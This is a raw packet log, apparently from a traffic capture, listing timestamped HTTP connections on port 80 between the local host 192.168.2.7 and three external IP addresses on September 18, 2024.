Sep 18, 2024 14:30:08.716130972 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716248989 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716284990 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716286898 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716299057 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716320992 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716336012 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716480017 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716491938 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716504097 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716519117 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716525078 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716536045 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716538906 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716551065 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716562986 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716562986 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716574907 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716587067 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716587067 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716599941 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716612101 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716614008 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716624022 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716634989 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716640949 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716648102 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716661930 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716670036 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716684103 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716707945 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716732025 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716742992 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716756105 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716768026 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716768980 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716780901 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716782093 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716795921 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716801882 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716830015 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716878891 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716890097 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716903925 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716912985 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716914892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716928959 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716939926 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716941118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716953039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716964960 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716964960 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716978073 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716980934 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717009068 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717133045 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717170000 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717195988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717209101 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717231989 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717248917 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717358112 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717370987 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717382908 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717394114 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717397928 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717407942 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717417002 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717443943 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717477083 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717489958 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717510939 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717539072 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717590094 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717608929 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717622995 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717629910 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717636108 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717639923 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717664003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717674971 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717675924 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717688084 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717700958 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717706919 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717713118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717720985 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717727900 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717737913 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717741013 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717753887 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.717755079 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717767954 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.717798948 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.757457972 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.757477999 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.757493019 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.757540941 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.757572889 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.757585049 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.757586002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.757599115 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.757612944 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.757623911 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.757641077 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.757666111 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.765845060 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.765887022 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.765907049 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.765921116 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.765923977 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.765933037 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.765947104 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.765953064 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.765984058 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.765985966 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.766020060 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.767035007 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767051935 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767065048 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767083883 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767088890 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.767097950 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767105103 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767110109 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.767111063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767122984 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767178059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767191887 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767200947 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.767200947 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.767205000 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767224073 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767241955 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.767252922 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.767277956 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.767503023 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767517090 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.767546892 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.767564058 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.786941051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.786986113 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.786998987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787012100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787012100 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787025928 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787039995 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787055016 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787075996 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787076950 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787090063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787110090 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787111044 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787132978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787147999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787159920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787159920 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787159920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787173033 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787178993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787189007 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787213087 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787275076 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787286997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787300110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787312984 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787313938 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787333012 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787342072 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787345886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787359953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787374020 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787374973 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787398100 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787398100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.787409067 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787436962 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.787970066 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788023949 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788067102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788079977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788093090 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788105965 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788114071 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788126945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788134098 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788141966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788153887 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788156986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788170099 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788180113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788191080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788208008 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788211107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788227081 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788227081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788243055 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788250923 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788255930 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788266897 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788268089 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788286924 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788312912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788479090 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788501978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788513899 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788532972 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788553953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788625956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788639069 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788650990 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788664103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788675070 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788691044 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788710117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.788717031 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788746119 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.788970947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.789030075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.789043903 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.789056063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.789076090 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.789083004 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.789091110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.789100885 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.789123058 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.789130926 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.789140940 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.789145947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.789160013 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.789167881 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.789184093 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.789202929 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.791178942 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.791214943 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.791227102 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.791291952 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.791343927 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.791363955 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.791376114 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.791379929 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.791400909 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.791413069 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.791414022 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.791428089 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.791439056 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.791440964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.791457891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.791474104 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.791507006 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.791507006 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.791534901 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.791548967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.791560888 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.791570902 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.791574001 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.791596889 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.791623116 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.792124033 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792177916 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792251110 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792263985 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792298079 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792304993 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792310953 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792324066 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792332888 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792335987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792359114 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792414904 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792428017 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792433977 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792439938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792452097 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792453051 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792467117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792474031 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792479992 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792493105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792503119 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792505980 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792517900 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792543888 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792779922 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792820930 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792821884 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792834997 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792859077 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792879105 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.792982101 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.792994976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.793008089 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.793020964 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.793028116 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.793056011 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.793103933 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.793144941 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.793217897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.793230057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.793248892 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.793262005 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.793263912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.793276072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.793279886 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.793289900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.793299913 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.793327093 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.794075966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.794090033 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.794102907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.794112921 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.794120073 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.794126034 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.794133902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.794148922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.794161081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.794190884 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.794200897 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.795988083 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796027899 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796040058 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796049118 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.796083927 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.796103954 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796118021 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796129942 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796143055 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796144009 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.796169043 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.796195030 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.796216011 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796226025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796237946 CEST	80	49706	147.45.44.104	192.168.2.7
